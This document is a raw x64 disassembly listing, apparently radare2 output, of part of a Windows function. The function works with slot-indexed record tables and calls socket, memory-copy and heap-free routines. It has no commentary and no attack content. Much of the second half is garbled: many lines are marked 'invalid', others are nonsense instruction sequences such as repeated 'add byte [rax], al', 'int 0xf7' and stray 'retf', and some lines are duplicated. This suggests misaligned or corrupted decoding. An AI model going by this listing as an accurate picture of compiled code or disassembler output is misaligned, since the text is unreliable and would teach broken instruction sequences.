mov qword [rbp + 0x350], 0
nop word cs:[rax + rax]
cmp dword [r12], 0
je 0x1400efe10
mov rax, qword [rbp + 0x530]
mov ebx, dword [rax]
mov rax, qword [rbp + 0x4d8]
mov r15d, dword [rax]
mov rax, qword [rbp + 0x318]
cmp ebx, dword [rax]
jne 0x1400ef730
mov rax, qword [rbp + 0x320]
cmp r15d, dword [rax]
jne 0x1400ef730
mov dword [rbp + 0x1f8], ebx
mov dword [rbp + 0x1fc], r15d
mov rax, qword [rbp + 0x5a8]
mov rcx, qword [rax + 0x1a8]
cmp rcx, rbx
jbe 0x1400f0ed8
mov rax, qword [rbp + 0x5a8]
mov rax, qword [rax + 0x198]
test rax, rax
je 0x1400f0ed8
imul rdx, rbx, 0x130
cmp dword [rax + rdx], 2
je 0x1400f0ed8
add rdx, rax
cmp dword [rdx + 0x114], r15d
jne 0x1400f0ed8
cmp dword [rdx + 0xb8], 0
jne 0x1400f128b
mov dword [r12], 0
jmp 0x1400ef7cf
mov dword [rbp + 0x1f8], ebx
mov dword [rbp + 0x1fc], r15d
mov rax, qword [rbp + 0x5a8]
cmp qword [rax + 0x1a8], rbx
jbe 0x1400f0e6e
mov rax, qword [rbp + 0x5a8]
mov rax, qword [rax + 0x198]
test rax, rax
je 0x1400f0e6e
imul rcx, rbx, 0x130
cmp dword [rax + rcx], 2
je 0x1400f0e6e
add rax, rcx
cmp dword [rax + 0x114], r15d
jne 0x1400f0e6e
movq xmm0, qword [rax + 0xbc]
cmp dword [rax + 0xb8], 0
mov dword [rax + 0xb8], 0
je 0x1400f126e
mov rcx, qword [rbp + 0x5a8]
mov dword [rcx + 0xb8], 1
movq qword [rcx + 0xbc], xmm0
mov rax, qword [rcx + 0x198]
mov rcx, qword [rcx + 0x1a8]
mov dword [rbp + 0x1f8], ebx
mov dword [rbp + 0x1fc], r15d
cmp rcx, rbx
jbe 0x1400f0c47
test rax, rax
je 0x1400f0c47
imul rdi, rbx, 0x130
cmp dword [rax + rdi], 2
je 0x1400f0c47
add rax, rdi
cmp dword [rax + 0x114], r15d
jne 0x1400f0c47
mov rcx, r15
shl rcx, 0x20
or rcx, rbx
mov byte [rax + 0x121], 0
mov rax, qword [rbp + 0x5a0]
mov qword [rbp + 0x4c0], rax
mov qword [rbp + 0x4c8], rcx
mov qword [rbp + 0x498], 2
mov qword [rbp + 0x4b8], 0
mov dword [rbp + 0x1f8], ebx
mov dword [rbp + 0x1fc], r15d
mov rax, qword [rbp + 0x5a8]
cmp qword [rax + 0x1a8], rbx
jbe 0x1400f0cb1
mov rax, qword [rbp + 0x5a8]
mov rdx, qword [rax + 0x198]
test rdx, rdx
je 0x1400f0cb1
cmp dword [rdx + rdi], 2
je 0x1400f0cb1
add rdx, rdi
cmp dword [rdx + 0x114], r15d
jne 0x1400f0cb1
mov r13d, dword [rdx + 0x48]
mov dword [rbp + 0x4e0], ebx
mov dword [rbp + 0x4e4], r15d
cmp dword [rdx], 2
je 0x1400f0d1b
cmp dword [rdx + 0x114], r15d
jne 0x1400f0d1b
mov rcx, r14
mov r8, qword [rbp + 0x570]
call fcn.1400d5ba0
movzx ecx, byte [rbp + 0xc8]
cmp rcx, 9
jne 0x1400ef980
mov dword [rbp + 0x4e0], ebx
mov dword [rbp + 0x4e4], r15d
mov rax, qword [rbp + 0x5a8]
cmp qword [rax + 0x1a8], rbx
jbe 0x1400f0f42
mov rax, qword [rbp + 0x5a8]
mov r9, qword [rax + 0x198]
test r9, r9
je 0x1400f0f42
cmp dword [r9 + rdi], 2
je 0x1400f0f42
add r9, rdi
cmp dword [r9 + 0x114], r15d
jne 0x1400f0f42
cmp byte [r9 + 0x50], 5
je case.0x1400ed2ec.202
cmp r13d, 0x3b9aca00
setne r8b
mov rcx, qword [rbp + 0x4d0]
lea rdx, [rbp + 0x4c0]
call fcn.140023890
movzx eax, byte [rbp + 0xc8]
cmp rax, 9
je 0x1400efd40
jmp 0x1400efd20
test rcx, rcx
jne 0x1400efe20
lea rax, [rbp + 0xd0]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmm2, xmmword [rax + 0x20]
movdqa xmmword [rbp + 0x500], xmm2
movdqa xmmword [rbp + 0x4f0], xmm1
movdqa xmmword [rbp + 0x4e0], xmm0
mov dword [rbp + 0x578], ebx
mov dword [rbp + 0x57c], r15d
mov rax, qword [rbp + 0x5a8]
cmp qword [rax + 0x1a8], rbx
jbe 0x1400f0fb3
mov rax, qword [rbp + 0x5a8]
mov rsi, qword [rax + 0x198]
test rsi, rsi
je 0x1400f0fb3
cmp dword [rsi + rdi], 2
je 0x1400f0fb3
add rsi, rdi
cmp dword [rsi + 0x114], r15d
jne 0x1400f0fb3
mov ecx, dword [rsi + 0x84]
mov rax, qword [rbp + 0x4e0]
test rax, rax
je 0x1400efb56
cmp eax, 1
jne 0x1400efb66
mov rdx, qword [rbp + 0x4f0]
sub rdx, qword [rbp + 0x4f8]
mov eax, 0
cmovae rax, rdx
test rax, rax
je 0x1400efb66
test ecx, ecx
jne 0x1400efb68
mov dword [rbp + 0x578], ebx
mov dword [rbp + 0x57c], r15d
cmp dword [rsi], 2
je 0x1400f1452
cmp dword [rsi + 0x114], r15d
jne 0x1400f1452
lea rax, [rbp + 0xd0]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
lea rax, [rbp + 0x53f]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov byte [rbp + 0x378], 0
mov rax, qword [rbp + 0x567]
lea rcx, [rbp + 0x379]
mov qword [rcx + 0x2f], rax
movdqu xmm0, xmmword [rbp + 0x538]
movdqu xmm1, xmmword [rbp + 0x548]
movdqu xmm2, xmmword [rbp + 0x558]
movdqu xmmword [rcx + 0x20], xmm2
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov qword [rbp + 0x368], 0
mov rax, qword [rbp + 0x598]
mov r15, qword [rax + 0x30]
mov byte [rbp + 0x5b7], 0
mov rcx, qword [rbp + 0x570]
mov rdx, r15
lea r8, [rbp + 0x368]
call fcn.1400d0530
cmp qword [rsi], 0
je 0x1400efcf0
mov rax, qword [rbp + 0x598]
cmp qword [rax + 0x20], r15
lea r14, [rbp + 0xc8]
jbe 0x1400f160c
mov rax, qword [rbp + 0x598]
mov rax, qword [rax + 0x10]
test rax, rax
je 0x1400f160c
imul rcx, r15, 0x130
add rax, rcx
cmp dword [rax], 2
jne 0x1400efccb
jmp 0x1400f160c
mov rax, qword [rbp + 0x4f8]
test rax, rax
jne 0x1400efa47
xor eax, eax
xor r14d, r14d
test ecx, ecx
cmovle ecx, r14d
mov rdx, qword [rbp + 0x1e8]
cmp rax, rdx
cmovae rax, rdx
cmp rax, rcx
cmovae rax, rcx
test rax, rax
je 0x1400eff30
mov dword [rbp + 0x578], ebx
mov dword [rbp + 0x57c], r15d
cmp dword [rsi], 2
je 0x1400f117e
cmp dword [rsi + 0x114], r15d
jne 0x1400f117e
mov ecx, dword [rsi + 0x80]
test ecx, ecx
mov edx, 0
cmovle ecx, edx
mov r14d, eax
cmp ecx, eax
jae 0x1400eff30
mov dword [rbp + 0x578], ebx
mov dword [rbp + 0x57c], r15d
cmp dword [rsi], 2
je 0x1400f11f6
cmp dword [rsi + 0x114], r15d
jne 0x1400f11f6
lea rax, [rbp + 0xd0]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
lea rax, [rbp + 0x53f]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov byte [rbp + 0x378], 0
mov rax, qword [rbp + 0x567]
lea rcx, [rbp + 0x379]
mov qword [rcx + 0x2f], rax
movdqu xmm0, xmmword [rbp + 0x538]
movdqu xmm1, xmmword [rbp + 0x548]
movdqu xmm2, xmmword [rbp + 0x558]
movdqu xmmword [rcx + 0x20], xmm2
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov qword [rbp + 0x368], 0
mov rax, qword [rbp + 0x598]
mov r15, qword [rax + 0x30]
mov byte [rbp + 0x5b7], 0
mov rcx, qword [rbp + 0x570]
mov rdx, r15
lea r8, [rbp + 0x368]
call fcn.1400d0530
cmp qword [rsi], 0
je 0x1400efcf0
mov rax, qword [rbp + 0x598]
cmp qword [rax + 0x20], r15
lea r14, [rbp + 0xc8]
jbe 0x1400f1319
mov rax, qword [rbp + 0x598]
mov rax, qword [rax + 0x10]
test rax, rax
je 0x1400f1319
imul rcx, r15, 0x130
add rax, rcx
cmp dword [rax], 2
je 0x1400f1319
mov rcx, qword [rsi + 8]
add rsi, 8
mov qword [rax], 1
mov qword [rax + 8], rcx
mov qword [rsi], r15
movzx eax, byte [rbp + 0xc8]
cmp rax, 9
je 0x1400efd40
jmp 0x1400efd20
mov qword [rsi], 1
mov qword [rsi + 8], r15
add rsi, 0x10
mov qword [rsi], r15
lea r14, [rbp + 0xc8]
movzx eax, byte [rbp + 0xc8]
cmp rax, 9
je 0x1400efd40
nop word cs:[rax + rax]
test rax, rax
je 0x1400efd40
cmp eax, 3
je 0x1400efd40
mov rcx, r14
call fcn.1400cffb0
nop word cs:[rax + rax]
mov rdx, qword [rbp + 0x498]
cmp rdx, 2
je 0x1400ef680
mov rcx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x4a8]
test rdx, rdx
je 0x1400efd76
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rbp + 0x4b0]
call qword [rax + 0x68]
mov rdx, qword [rbp + 0x498]
cmp rdx, 2
je 0x1400ef680
mov rcx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x4a8]
test rdx, rdx
je 0x1400efdb6
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rbp + 0x4b0]
call qword [rax + 0x80]
mov rax, qword [rbp + 0x498]
cmp rax, 2
je 0x1400ef680
test rax, rax
je 0x1400ef680
mov rax, qword [rbp + 0x4a0]
lock dec qword [rax]
jne 0x1400ef680
mov rcx, qword [rbp + 0x4a0]
mov rdx, qword [rbp + 0x4a8]
add al, ch
int 0xf7
invalid
jmp 0x1400ef680
mov bl, 9
jmp 0x1400f08c0
cmp ecx, 3
jne 0x1400f0345
mov r8d, 0x118
lea rcx, [rbp + 0x368]
lea rdx, [rbp + 0xd0]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x5a8]
cmp qword [rax + 0x1d8], 0
je 0x1400f1a50
mov r15d, dword [rbp + 0x474]
mov rsi, qword [rbp + 0x5a8]
mov rcx, qword [rsi + 0x1f8]
mov rdx, qword [rsi + 0x200]
mov r8d, r15d
call fcn.140024280
mov r8, qword [rsi + 0x1e0]
mov rdx, qword [rsi + 0x1f0]
mov r9, qword [rsi + 0x1c0]
mov r10, qword [rsi + 0x1c8]
mov rcx, rax
shr rcx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r11d, r11d
and rax, r10
movdqu xmm1, xmmword [r9 + rax]
movdqa xmm2, xmm0
pcmpeqb xmm2, xmm1
pmovmskb esi, xmm2
nop dword [rax + rax]
test si, si
je 0x1400eff0d
tzcnt ecx, esi
add rcx, rax
and rcx, r10
shl rcx, 3
mov rdi, r9
sub rdi, rcx
sub edi, ecx
mov rcx, qword [rdi - 8]
cmp rdx, rcx
jbe 0x1400f0c36
lea edi, [rsi - 1]
and edi, esi
shl rcx, 4
mov esi, edi
cmp dword [r8 + rcx + 8], r15d
jne 0x1400efed0
jmp 0x1400f0398
pcmpeqb xmm1, xmm6
pmovmskb ecx, xmm1
test ecx, ecx
jne 0x1400f1a50
invalid
add rax, r11
add rax, 0x10
add r11, 0x10
jmp 0x1400efeb3
mov qword [rbp + 0x538], 2
mov qword [rbp + 0x558], 0
mov dword [rbp + 0x528], ebx
mov dword [rbp + 0x52c], r15d
cmp dword [rsi], 2
je 0x1400f1740
cmp dword [rsi + 0x114], r15d
jne 0x1400f1740
mov rax, qword [rbp + 0x5a8]
mov r8, qword [rax + 0xb0]
add byte [rax], al
add byte [rbx + rcx*4 - 0x72], al
test byte [rax], al
add byte [rax], al
mov rax, qword [rsi + 0x88]
test r9d, r9d
mov edx, 0
cmovg edx, r9d
cmp rdx, r8
cmovae rdx, r8
mov r10, rdx
sub r10, rax
mov ecx, 0
cmovae rcx, r10
test r14d, r14d
je 0x1400efff0
invalid
mov r10d, dword [rsi + 0x80]
sub r10d, r14d
jl 0x1400f1ad7
jo 0x1400efff0
mov dword [rsi + 0x80], r10d
sub r9d, r14d
jo 0x1400efff0
mov dword [rsi + 0x84], r9d
test r9d, r9d
mov edx, 0
cmovle r9d, edx
cmp r9, r8
cmovb r8, r9
mov rdx, r8
nop word [rax + rax]
mov ebx, r14d
sub rax, rbx
mov qword [rsi + 0x88], rax
sub dword [rsi + 0x118], r14d
add byte [rax + 0x29], cl
ret 0xb8
add byte [rax], al
add byte [rax + 0xf], cl
ret 0xc139
invalid
jae 0x1400f003c
invalid
mov byte [rsi + 0x123], 1
mov rax, qword [rsi + 0x90]
mov rcx, qword [rsi + 0x98]
add byte [rax - 0x39], cl
xchg byte [rax], dl
add byte [rax], al
invalid
test rax, rax
je 0x1400f003c
invalid
call qword [rax + ioctlsocket]
mov rax, qword [rbp + 0x5a8]
mov ecx, dword [rax + 0xac]
add byte [rcx - 0x73], al
add al, 0xe
shl rax, 0x20
add ecx, r14d
movabs rcx, 0x300000001
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
invalid
cmovo rax, rcx
test al, al
jne 0x1400f0077
shr rax, 0x20
mov rcx, qword [rbp + 0x5a8]
mov ecx, dword [rbp + 0x5a8]
mov dword [rcx + 0xac], eax
mov rsi, qword [rbp + 0x538]
cmp rsi, 2
je 0x1400f00e0
mov rdi, qword [rbp + 0x540]
mov rax, qword [rbp + 0x548]
mov rcx, rdi
test rsi, rsi
je 0x1400f00ac
mov rcx, qword [rax + 0x10]
dec rcx
leave
and rcx, 0xfffffffffffffff0
add rcx, rdi
add rcx, 0x10
mov rdx, qword [rbp + 0x550]
call qword [rax + 0x80]
test rsi, rsi
je 0x1400f00e0
lock dec qword [rdi]
jne 0x1400f00e0
mov rcx, qword [rbp + 0x540]
mov rdx, qword [rbp + 0x548]
mov byte [rbp + 0x5b7], 1
call fcn.14006cb50
retf 0xfff7
nop
mov qword [rbp + 0x368], 2
mov qword [rbp + 0x388], 0
add byte [rax], al
add byte [rbp - 0x7b], al
invalid
je 0x1400f0140
mov rax, qword [rbp + 0x360]
mov eax, dword [rax]
sub eax, r14d
jl 0x1400f1af4
jo 0x1400f0140
mov rcx, qword [rbp + 0x5a8]
mov dword [rcx + 0xa8], eax
mov eax, dword [rcx + 0xac]
sub eax, r14d
jo 0x1400f0140
mov rcx, qword [rbp + 0x5a8]
mov dword [rcx + 0xac], eax
nop word cs:[rax + rax]
movzx esi, byte [rbp + 0x50e]
mov rax, qword [rbp + 0x4e0]
test rax, rax
je 0x1400f04ab
cmp eax, 1
jne 0x1400f0182
mov rcx, qword [rbp + 0x4f0]
sub rcx, qword [rbp + 0x4f8]
mov eax, 0
cmovae rax, rcx
cmp rax, rbx
jbe 0x1400f0182
mov eax, esi
and al, 0xfe
dec byte [rax + 0x50e85]
invalid
mov rdi, qword [rbp + 0x368]
cmp rdi, 2
je 0x1400f01f0
mov r14, qword [rbp + 0x370]
mov rax, qword [rbp + 0x378]
mov rcx, r14
test rdi, rdi
je 0x1400f01b7
mov rcx, qword [rax + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, r14
add rcx, 0x10
mov rdx, qword [rbp + 0x380]
call qword [rax + 0x80]
test rdi, rdi
je 0x1400f01f0
lock dec qword [r14]
jne 0x1400f01f0
mov rcx, qword [rbp + 0x370]
mov rdx, qword [rbp + 0x378]
xchg ebp, eax
js 0x1400f01de
add byte [rax], al
add eax, dword [rax]
add byte [rax - 0x75], cl
xchg ebp, eax
js 0x1400f01de
add byte [rax], al
mov byte [rbp + 0x5b7], 1
test dword [rdi + 0x1000005], esi
add eax, ebp
leave
idiv edi
call fcn.14006cb50
nop dword [rax]
and sil, 1
mov eax, dword [rbp + 0x508]
mov rcx, qword [rbp + 0x500]
mov ecx, dword [rbp + 0x500]
lea rdx, [rbp + 0x200]
xchg ebp, eax
add byte [rdx], al
add byte [rax], al
mov qword [rdx + 0x20], rcx
movdqa xmm0, xmmword [rbp + 0x4e0]
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
invalid
invalid
add al, 0
add bl, dh
movq qword [rdx + 0x10], mm1
invalid
movdqu xmmword [rdx], xmm0
jg 0x1400f0227
movzx ecx, byte [rbp + 0x50e]
movzx edx, word [rbp + 0x50c]
invalid
add byte [rax], al
lea ecx, [rsi]
add eax, 0xb70f0000
xchg ebp, eax
or al, 5
invalid
add byte [rax], al
mov qword [rbp + 0x228], rbx
mov r8, qword [rbp + 0x4c8]
mov qword [rbp + 0x230], r8
test dword [rax], esi
add al, byte [rax]
invalid
mov byte [rbp + 0x238], sil
mov dword [rbp + 0x240], eax
mov word [rbp + 0x244], dx
mov byte [rbp + 0x246], cl
add dh, al
test eax, edi
add dword [rax], eax
add byte [rax], al
xor ebx, ebx
lea r14, [rbp + 0xc8]
movzx eax, byte [rbp + 0xc8]
invalid
mov dh, 0x85
enter 0, 0
invalid
cmp rax, 9
jne 0x1400f06c2
add byte [rax], al
jmp 0x1400f06e0
mov edx, dword [r9 + 0x54]
mov dword [rbp + 0x4e0], ebx
mov dword [rbp + 0x4e4], r15d
mov dword [rbp + 0x4e4], edi
mov dword [rbp + 0x4e4], edi
cmp dword [r9], 2
je 0x1400f196e
cmp dword [r9 + 0x114], r15d
add dword [rax], eax
add byte [rdi], cl
test dword [rsi + 0x45000016], edi
mov r8d, dword [r9 + 0x114]
jne 0x1400f196e
mov r8d, dword [r9 + 0x114]
mov dword [rbp + 0x4e0], ebx
mov dword [rbp + 0x4e4], r15d
cmp dword [r9], 2
je 0x1400f19df
cmp dword [r9 + 0x114], r15d
jne 0x1400f19df
movzx eax, byte [r9 + 0x50]
lea ecx, [rax - 6]
cmp cl, 6
mov dword [rbp + 0x588], edx
mov qword [rbp + 0x328], r9
mov dword [rbp + 0x58c], r8d
jb 0x1400f062e
lea ecx, [rax - 3]
cmp cl, 2
ja 0x1400f0311
cmp cl, 1
jne 0x1400f062e
movzx eax, al
test rax, rax
je 0x1400f062e
test byte [rcx], dl
add eax, dword [rax]
add byte [rax], al
cmp eax, 1
jne 0x1400f05f2
mov rax, qword [r9 + 0x58]
mov rdx, qword [r9 + 0x60]
lea rcx, [r9 + 0x70]
jo 0x1400f0380
mov eax, dword [rcx + 0x68]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x5a0]
jmp 0x1400f0635
mov edx, dword [rbp + 0xcc]
mov eax, dword [rbp + 0xd0]
add byte [rbx + rcx*4 - 0x7b], al
invalid
add byte [rax], al
add byte [rax - 1], cl
leave
lea r9, [0x1401eefd0]
movsxd rcx, dword [r9 + rcx*4]
add rcx, r9
jmp rcx
mov dword [rbp + 0x200], eax
mov dword [rbp + 0x204], r8d
test dword [rdx + rax], eax
add byte [rax], al
test dword [rdx + rax], eax
add byte [rax], al
mov r8d, 0x110
lea rcx, [rbp + 0x208]
add byte [rax], al
lea rdx, [rbp + 0xd8]
call sub.VCRUNTIME140.dll_memcpy
mov bl, 1
jmp 0x1400f05e7
mov eax, dword [r8 + rcx + 0xc]
mov rcx, qword [rbp + 0x5a0]
add byte [rax - 0x77], cl
lea edi, [rax + 5]
invalid
add byte [rax], al
add byte [rax - 0x77], cl
lea edi, [rax + 5]
invalid
add byte [rax], al
add eax, 0x85890000
add byte [0xc95303b4], 0xbd
mov ebp, 0x584
mov dword [rbp + 0x528], eax
mov dword [rbp + 0x52c], r15d
add byte [rax], al
mov dword [rbp + 0x580], eax
mov dword [rbp + 0x584], r15d
mov ebp, 0x584
mov dword [rbp + 0x528], eax
mov dword [rbp + 0x52c], r15d
add byte [rax], al
add byte [rax], al
mov rcx, qword [rbp + 0x5a8]
cmp qword [rcx + 0x1a8], rax
jbe 0x1400f1822
add byte [rax - 0x75], cl
lea ebp, [rax + 0x48000005]
mov edx, dword [rcx + 0x198]
cwde
add dword [rax], eax
invalid
mov rcx, qword [rbp + 0x5a8]
mov rdx, qword [rcx + 0x198]
cwde
add dword [rax], eax
invalid
test rdx, rdx
ror byte [rdi], cl
test byte [rdx], dh
adc al, 0
add byte [rax + 0x69], cl
enter 0x130, 0
add dword [rax], eax
je 0x1400f1822
imul rcx, rax, 0x130
cmp dword [rdx + rcx], 2
cmp al, 0xa
invalid
add byte [rbx + 0xf020a3c], al
cmp al, 0xa
add cl, byte [rdi]
or al, byte [rdx]
je 0x1400f1822
test byte [rcx], ah
adc al, 0
add byte [rax + 1], cl
retf 0x3944
add rdx, rcx
cmp dword [rdx + 0x114], r15d
add dword [rax], eax
add byte [rdi], cl
test dword [rcx], edx
adc al, 0
invalid
add dword [rax], eax
add byte [rdi], cl
test dword [rcx], edx
adc al, 0
add dh, al
invalid
mov byte [rdx + 0x125], 0
and eax, 1
mov dword [rbp + 0x528], eax
mov dword [rbp + 0x52c], r15d
mov ebp, 0x52c
test dword [rax], ebp
add eax, 0x89440000
mov ebp, 0x52c
mov rdx, qword [rbp + 0x5a8]
cmp qword [rdx + 0x1a8], rax
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi], cl
jbe 0x1400f1893
jbe 0x1400f1893
mov rax, qword [rbp + 0x5a8]
mov rax, qword [rax + 0x198]
test rax, rax
test eax, eax
ror byte [rdi], 0x84
adc al, 0
add byte [rbx + 0xf02083c], al
cmp dword [rax + rcx], 2
invalid
test byte [rcx], bh
je 0x1400f1893
cmp dword [rax + rcx], 2
je 0x1400f1893
adc al, 0
invalid
adc al, 0
add byte [rax + 1], cl
enter 0x3944, 0xffffffffffffffb8
add rax, rcx
cmp dword [rax + 0x114], r15d
adc al, 1
add byte [rax], al
adc al, 1
add byte [rax], al
jne 0x1400f1893
add byte [rax], al
cmp qword [rax], 0
je 0x1400f04d3
mov rcx, qword [rbp + 0x5a8]
mov rax, qword [rcx + 0x150]
add byte [rax], al
add byte [rax], al
cmp rax, qword [rcx + 0x158]
jbe case.0x1400e7c73.60
sbb dword [rax + 1], 0x39760000
mov rcx, qword [rbp + 0x4d0]
invalid
add byte [rax], al
lea rdx, [rbp + 0x578]
call fcn.140023710
mov rcx, r12
lea rdx, [rbp + 0x578]
js 0x1400f04a7
add byte [rax], al
call fcn.140024d40
invalid
jmp 0x1400f04d3
mov rax, qword [rbp + 0x4f8]
add byte [rax], al
cmp rax, rbx
ja 0x1400f0178
jmp 0x1400f0182
cld
invalid
mov rcx, qword [rbp + 0x360]
lea rdx, [rbp + 0x578]
add al, ch
invalid
invalid
invalid
invalid
add al, ch
cmp eax, 0x41fff34a
invalid
invalid
invalid
invalid
inc dword [rcx - 0x48]
sbb byte [rcx], al
add byte [rax], al
mov r8d, 0x118
mov eax, 0x118
lea rcx, [rbp + 0x200]
lea rdx, [rbp + 0x368]
call sub.VCRUNTIME140.dll_memcpy
add eax, dword [rax]
add al, ch
out dx, eax
pop rdi
or dword [rax], eax
mov byte [rbp + 0x1f8], 3
mov bl, 3
add ecx, dword [rdi]
mov dh, 0x85
enter 0, 0
add ecx, dword [rdi]
mov dh, 0x85
enter 0, 0
cmp rax, 9
jne 0x1400f06c2
add byte [rax], al
add byte [rax], al
jmp 0x1400f06e0
mov dword [rbp + 0x1fc], edx
mov dword [rbp + 0x200], eax
mov dword [rbp + 0x204], r8d
lea rax, [rbp + 0xd8]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmm2, xmmword [rax + 0x20]
lea rax, [rbp + 0x208]
movdqu xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov bl, 4
jmp 0x1400f05e7
mov dword [rbp + 0x1fc], edx
mov dword [rbp + 0x200], eax
mov dword [rbp + 0x204], r8d
mov bl, 2
jmp 0x1400f05e7
mov byte [rbp + 0x1f8], bl
jmp 0x1400f06e0
mov r8, qword [r9 + 0x58]
test r8, r8
je 0x1400f062e
cmp qword [r9 + 0x60], 0
mov rax, qword [rbp + 0x5a0]
je 0x1400f0635
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x4c0]
mov ebx, dword [rbp + 0x4c8]
mov r15d, dword [rbp + 0x4cc]
jmp 0x1400f0635
mov rax, qword [rbp + 0x5a0]
mov rcx, qword [rbp + 0x328]
mov word [rcx + 0x50], 0x100
mov edx, dword [rbp + 0x58c]
mov dword [rcx + 0x54], edx
mov edx, dword [rbp + 0x588]
mov dword [rcx + 0x58], edx
mov dword [rbp + 0x4e0], ebx
mov dword [rbp + 0x4e4], r15d
mov ecx, ebx
cmp qword [rax + 0x10], rcx
jbe 0x1400f17b1
mov rax, qword [rax]
test rax, rax
je 0x1400f17b1
imul rcx, rcx, 0x130
cmp dword [rax + rcx], 2
je 0x1400f17b1
add rax, rcx
cmp dword [rax + 0x114], r15d
jne 0x1400f17b1
mov eax, dword [rax + 0x114]
mov dword [rbp + 0x1fc], eax
mov dword [rbp + 0x200], edx
mov byte [rbp + 0x1f8], 8
mov bl, 8
movzx eax, byte [rbp + 0xc8]
cmp rax, 9
je 0x1400f06e0
test rax, rax
je 0x1400f06e0
cmp eax, 3
je 0x1400f06e0
mov rcx, r14
call fcn.1400cffb0
nop word cs:[rax + rax]
mov rcx, qword [rbp + 0x4c0]
mov edx, dword [rbp + 0x4c8]
mov eax, dword [rbp + 0x4cc]
mov dword [rbp + 0x538], edx
mov dword [rbp + 0x53c], eax
cmp qword [rcx + 0x10], rdx
jbe 0x1400f1377
mov r9, qword [rcx]
test r9, r9
je 0x1400f1377
imul r8, rdx, 0x130
cmp dword [r9 + r8], 2
je 0x1400f1377
add r9, r8
cmp dword [r9 + 0x114], eax
jne 0x1400f1377
cmp qword [r9], 0
jne 0x1400f0775
mov dword [rbp + 0x538], edx
mov dword [rbp + 0x53c], eax
mov rcx, qword [rcx]
test rcx, rcx
je 0x1400f1630
cmp dword [rcx + r8], 2
je 0x1400f1630
add rcx, r8
cmp dword [rcx + 0x114], eax
jne 0x1400f1630
cmp byte [rcx + 0x50], 5
jne 0x1400f0784
mov rcx, r12
lea rdx, [rbp + 0x4c0]
call fcn.140024d40
cmp r13d, 0x3b9aca00
setne r8b
mov rcx, qword [rbp + 0x4d0]
lea rdx, [rbp + 0x4c0]
call fcn.140023890
lea rcx, [rbp + 0x200]
mov rax, qword [rcx + 0x28]
mov qword [rbp + 0xbf], rax
movdqu xmm0, xmmword [rcx - 7]
movdqu xmm1, xmmword [rcx + 9]
movdqu xmm2, xmmword [rcx + 0x19]
movdqa xmmword [rbp + 0xb0], xmm2
movdqa xmmword [rbp + 0xa0], xmm1
movdqa xmmword [rbp + 0x90], xmm0
mov eax, dword [rbp + 0x230]
mov dword [rbp + 0x588], eax
mov eax, dword [rbp + 0x234]
mov dword [rbp + 0x58c], eax
mov r8d, 0xe0
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x238]
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rbp + 0x498]
cmp rdx, 2
je 0x1400f08c0
mov rcx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x4a8]
test rdx, rdx
je 0x1400f083f
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rbp + 0x4b0]
call qword [rax + 0x68]
mov rdx, qword [rbp + 0x498]
cmp rdx, 2
je 0x1400f08c0
mov rcx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x4a8]
test rdx, rdx
je 0x1400f087b
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rbp + 0x4b0]
call qword [rax + 0x80]
mov rax, qword [rbp + 0x498]
cmp rax, 2
je 0x1400f08c0
test rax, rax
je 0x1400f08c0
mov rax, qword [rbp + 0x4a0]
lock dec qword [rax]
jne 0x1400f08c0
mov rcx, qword [rbp + 0x4a0]
mov rdx, qword [rbp + 0x4a8]
call fcn.14006cb50
nop word [rax + rax]
mov rdx, qword [rbp + 0x330]
cmp rdx, 2
je 0x1400f0980
mov rcx, qword [rbp + 0x338]
mov rax, qword [rbp + 0x340]
test rdx, rdx
je 0x1400f08f6
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rbp + 0x348]
call qword [rax + 0x68]
mov rdx, qword [rbp + 0x330]
cmp rdx, 2
je 0x1400f0980
mov rcx, qword [rbp + 0x338]
mov rax, qword [rbp + 0x340]
test rdx, rdx
je 0x1400f0932
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rbp + 0x348]
call qword [rax + 0x80]
mov rax, qword [rbp + 0x330]
cmp rax, 2
je 0x1400f0980
test rax, rax
je 0x1400f0980
mov rax, qword [rbp + 0x338]
lock dec qword [rax]
jne 0x1400f0980
mov rcx, qword [rbp + 0x338]
